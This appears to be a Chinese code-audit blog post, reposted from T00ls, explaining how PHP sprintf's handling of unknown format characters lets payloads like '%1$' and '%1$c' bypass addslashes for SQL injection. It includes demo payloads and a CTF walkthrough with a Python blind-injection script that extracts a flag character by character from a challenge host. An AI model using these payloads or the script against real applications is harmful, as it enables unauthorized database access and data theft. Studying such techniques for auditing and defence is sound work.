PHP sprintf格式化字符串漏洞

  • A+
所属分类:代码审计

PHP sprintf格式化字符串漏洞

原理

sprintf() 把百分号(%)符号替换成一个作为参数进行传递的变量:

<?php
$number = 2;
$str = "Shanghai";
$txt = sprintf("There are %u million cars in %s.",$number,$str);
echo $txt;
?>

运行结果

There are 2 million cars in Shanghai.

定义和用法 sprintf() 函数把格式化的字符串写入变量中。

arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "$" 组成。

<?php
$number = 123;
$txt = sprintf("带有两位小数:%1$.2f
<br>不带小数:%1$u"
,$number);
echo $txt;
?>

结果:

带有两位小数:123.00
不带小数:123


漏洞分析

接下来看看sprintf()的底层实现方法

switch (format[inpos]) {
case 's':
{
zend_string * t;
zend_string * str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
break;
case 'u':
php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
break;
case 'c':
php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
break;
case 'x':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
break;
case 'X':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
break;
case '%':
php_sprintf_appendchar( & result, &outpos, '%');
break;
default:
break;
}

可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:如果我们输入"%"或者"%1$",他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%","%1$"就因为没有经过任何处理而被替换为空。


PHP sprintf格式化字符串漏洞



PHP sprintf格式化字符串漏洞


因此sprintf注入的原理就是

我们用一个15种类型之外的 ""来代替格式字符类型让函数替换为空,则“%1$'”后面的单引号就能闭合前面的单引号,以下是一些例子帮助我们更好的理解

不带占位符的

<?php

$sql="select * from user where username='%' and 1=1 #';";
$user='admin';
echo sprintf($sql,$user);

?>

运行结果:

select * from user where username='' and 1=1 #';

注意:username=''这里是两个单引号不是双引号

带有占位符: 先看不带的原样输出


PHP sprintf格式化字符串漏洞


and 1=1#
AND b='and 1=1#'
SELECT * FROM t WHERE a='admin' AND b='and 1=1#'

进行绕过

<?php
//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(),NULL
$input = addslashes ("%1$'
and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
echo $sql ;
?>

对$input与$b进行了拼接

$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$' and 1=1#' ", 'admin' );

很明显,这个句子里面的是由addsashes为了转义单引号而加上的,使用%s与%1$类匹配admin,那么admin只会出现在%s里,%1$为空 所以输出

%1$' and 1=1#
AND b='
%1$' and 1=1#'
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'


PHP sprintf格式化字符串漏洞


对于这个问题,我们还可以这样写

$sql = sprintf ("SELECT * FROM table WHERE a='%1$' AND b='%d' and 1=1#' ",'admin');

result:

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

第一个格式化处匹配时为空,会让给后面的格式化匹配

 

以上两个例子是吃掉''来使得单引号逃逸出来

下面这个例子我们构造单引号

<?php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
echo($sql."<br>");
$sql = sprintf ( $sql , $input2 );
echo $sql ;

结果:

SELECT * FROM foo WHERE bar IN (' %1$c) OR 1 = 1 /* ') AND baz = %s
SELECT * FROM foo WHERE bar IN (' ') OR 1 = 1 /* ') AND baz = 39

%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。

所以结果为:

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

实战

i春秋的 “迎圣诞,拿大奖”活动赛题

进行fuzz时 ,当输入%时爆sprintf()错误


PHP sprintf格式化字符串漏洞


于是构造username=admin%1$' and 1=2#与 username=admin%1$' and 1=1# 于是写下脚本:

# _*_ coding : utf-8 _*_
import requests
import re
import urllib2


headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
}

dbname = ""
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
url = "http://00eec0b6e68b4332b078c559e3fee6307720121e6aaf49e4.changame.ichunqiu.com/"
for m in range(30,50):
for i in range(32, 126):
s = "%1$' or ascii(substr((select flag from flag),"+str(m)+",1))="+str(i)+"#"
# str1 = urllib2.quote(s)
str1 = s
data={'username' : str1, 'password' : '12313'}
# print str1
# print urllib2.unquote(str1)
req = requests.post(url=url, data=data,headers=headers)
# print req.text
# print req.text
result = re.findall('password error', req.content)
if result:
dbname = dbname + chr(i)
print dbname

print chr(i)


PHP sprintf格式化字符串漏洞

本文始发于微信公众号(T00ls):PHP sprintf格式化字符串漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: